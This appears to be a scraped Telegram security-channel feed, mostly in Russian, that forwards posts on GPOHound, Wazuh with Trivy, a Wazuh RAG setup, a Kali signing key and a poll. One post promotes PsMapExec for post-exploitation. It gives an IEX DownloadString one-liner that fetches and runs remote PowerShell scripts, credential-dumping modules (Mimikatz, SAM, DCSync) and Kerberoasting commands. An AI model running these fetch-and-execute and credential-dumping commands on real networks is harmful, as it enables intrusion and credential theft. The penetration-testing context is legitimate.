Forwarded from Offensive Xwitter
😈 [ Toffy @toffyrak ]
I have just released my first tool: GPOHound 🚀
GPOHound is an offensive tool for dumping and analysing GPOs. It leverages BloodHound data and enriches it with insights extracted from the analysis.
Check it out here:
🔗 https://github.com/cogiceo/GPOHound
🐥 [ tweet ]
I have just released my first tool: GPOHound 🚀
GPOHound is an offensive tool for dumping and analysing GPOs. It leverages BloodHound data and enriches it with insights extracted from the analysis.
Check it out here:
🔗 https://github.com/cogiceo/GPOHound
🐥 [ tweet ]
🔥2
Forwarded from Похек
Укрепление безопасности образов контейнеров с помощью Wazuh и Trivy
#Wazuh #Trivy #SOC #Appsec
Эта статья черпает вдохновение из записи в блоге Wazuh о повышении безопасности образов контейнеров с помощью Wazuh и Trivy.
Контейнеризация произвела революцию в разработке и развертывании программного обеспечения, предлагая масштабируемость и эффективность. Однако эта гибкость может создавать риски для безопасности, если образы контейнеров не защищены должным образом.Уязвимости в этих образах могут подвергнуть всю вашу систему угрозам.
Вот где вступает в игру совместная мощь Wazuh и Trivy.
Эти инструменты с открытым исходным кодом предоставляют комплексное решение для повышения безопасности образов контейнеров, гарантируя защиту ваших приложений с самого начала.
🔗 Читать дальше
🌚 @poxek | 🌚 blog.poxek.cc | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч
#Wazuh #Trivy #SOC #Appsec
Эта статья черпает вдохновение из записи в блоге Wazuh о повышении безопасности образов контейнеров с помощью Wazuh и Trivy.
Контейнеризация произвела революцию в разработке и развертывании программного обеспечения, предлагая масштабируемость и эффективность. Однако эта гибкость может создавать риски для безопасности, если образы контейнеров не защищены должным образом.Уязвимости в этих образах могут подвергнуть всю вашу систему угрозам.
Вот где вступает в игру совместная мощь Wazuh и Trivy.
Эти инструменты с открытым исходным кодом предоставляют комплексное решение для повышения безопасности образов контейнеров, гарантируя защиту ваших приложений с самого начала.
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Отличный инструмент для пост эксплуатации в
UPD. Начиная с версии 0.6.0, PsMapExec больше не имеет каких-либо внешних зависимостей, кроме модуля Amnesiac.
PsMapExec теперь можно запускать в ограниченных средах, таких как экзаменационные лаборатории или машины CTF
Текущая поддержка методов (протоколов):
🔵 RDP🔵 SessionHunter🔵 SMB🔵 SMB Signing🔵 Spraying🔵 VNC🔵 WinRM🔵 WMI🔵 MSSQL🔵 Kerberoast
Реализованные модули:
🔵 Amnesiac - выполнение Amnesiac C2 пейлоадов🔵 ConsoleHistory - история в PowerShell🔵 Files - файлы в типичных директориях🔵 KerbDump - дамп Kerberos билетов🔵 eKeys - дамп ключей (Mimikatz)🔵 LogonPasswords - дамп logon passwords (Mimikatz)🔵 LSA - дамп LSA (Mimikatz)🔵 NTDS - реализация DCsync🔵 SAM - дамп SAM
Запуск из памяти:
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")Примеры:
# Текущий пользователь
PsMapExec -Targets All -Method [Method]
# С паролем
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]
# С хешем
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256]
# С билетом
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]
# Дамп SAM файла
PsMapExec -Targets DC.domain.local -Method SMB -Ticket [Base64-Ticket] -Module SAM
# Kerberoasting
PsMapExec -Method Kerberoast -ShowOutput
# Использование модулей
PsMapExec -Targets All -Method [Method] -Module [Module]
#soft #pentest #powershell #psmapexec #redteam #windows
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Похек
Если вы работаете с Wazuh, то наверняка сталкивались с тем, что документация огромная, а найти нужную инфу быстро — задача не из простых. Но что если внедрить в этот процесс современные AI-инструменты? Именно об этом рассказывает свежая серия статей «Применение RAG для работы с документацией Wazuh» — и это реально must-read для всех, кто хочет выжать максимум из своих знаний по кибербезу!
➡️ Что такое RAG и зачем он Wazuh?
Retrieval-Augmented Generation (RAG) — это подход, который позволяет не просто генерировать ответы на вопросы, а делать это на основе релевантных кусков документации. То есть, вы не просто спрашиваете у бота, а получаете реально точный и проверяемый ответ, который подтягивается из вашей же базы знаний. В случае с Wazuh это превращается в мощный инструмент: автоматизация поиска, быстрый доступ к нужной инфе и реальный буст продуктивности.
➡️ Часть 1: Готовим документацию Wazuh под RAG
Первая статья — прям гайд для тех, кто хочет собрать документацию Wazuh локально и подготовить её для дальнейшей работы с RAG. Автор подробно рассказывает, как:
▪️ Оценить и собрать актуальную документацию Wazuh с GitHub.
▪️ Использовать Sphinx или Docker для локальной сборки, чтобы потом гонять по ней запросы.
▪️ Конвертировать single HTML в PDF, если нужен именно такой формат для дальнейшей работы.
Всё расписано пошагово, с командами и советами — разберётся даже тот, кто только начинает копать в сторону автоматизации документации.
➡️ Часть 2: Настраиваем RAG на практике
Если первая часть была разминкой, то во вторая часть — вы уже реально начинаете ебашить. Как поднять Ollama 3.2, как интегрировать LangChain, ChromaDB и Python для загрузки PDF-документации и создания векторного хранилища. Автор приводит рабочие куски кода для загрузки и разбиения PDF на чанки, объясняет, как настраивать эмбеддинги и как строить пайплайн для запросов к документации через Ollama.
Особенно круто, что показан пример скрипта, который позволяет буквально «спросить у Wazuh» — и получить человеческий, развернутый ответ на английском, с реальными примерами использования системы. Всё это работает локально, без облаков и сторонних сервисов, что важно для бизнеса.
⬆️ Возможно при использовании Ollama 4.0 результаты будут лучше.
💬 Если вы работаете с Wazuh, как вы считаете - такие интеграции имеют смысл? И пора ли вендорам добавлять что-то аналогичное в свои продукты, чтобы выделяться на рынке и желательно упрощать, а не усложнять работу SOC?)
🌚 @poxek | 🌚 blog.poxek.cc | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч
Retrieval-Augmented Generation (RAG) — это подход, который позволяет не просто генерировать ответы на вопросы, а делать это на основе релевантных кусков документации. То есть, вы не просто спрашиваете у бота, а получаете реально точный и проверяемый ответ, который подтягивается из вашей же базы знаний. В случае с Wazuh это превращается в мощный инструмент: автоматизация поиска, быстрый доступ к нужной инфе и реальный буст продуктивности.
Первая статья — прям гайд для тех, кто хочет собрать документацию Wazuh локально и подготовить её для дальнейшей работы с RAG. Автор подробно рассказывает, как:
Всё расписано пошагово, с командами и советами — разберётся даже тот, кто только начинает копать в сторону автоматизации документации.
Если первая часть была разминкой, то во вторая часть — вы уже реально начинаете ебашить. Как поднять Ollama 3.2, как интегрировать LangChain, ChromaDB и Python для загрузки PDF-документации и создания векторного хранилища. Автор приводит рабочие куски кода для загрузки и разбиения PDF на чанки, объясняет, как настраивать эмбеддинги и как строить пайплайн для запросов к документации через Ollama.
Особенно круто, что показан пример скрипта, который позволяет буквально «спросить у Wazuh» — и получить человеческий, развернутый ответ на английском, с реальными примерами использования системы. Всё это работает локально, без облаков и сторонних сервисов, что важно для бизнеса.
Please open Telegram to view this post
VIEW IN TELEGRAM
Fsecurity | HH pinned «⚠️Ссылка: https://www.kali.org/blog/new-kali-archive-signing-key/»
Как вам такой подарок ? 🤔
Anonymous Poll
30%
Супер 😁
30%
Этот ваш kali... А я говорил... 🤬
10%
Пофиг, у меня Arch 😎
0%
😐
30%
* узнать ответы * 🍷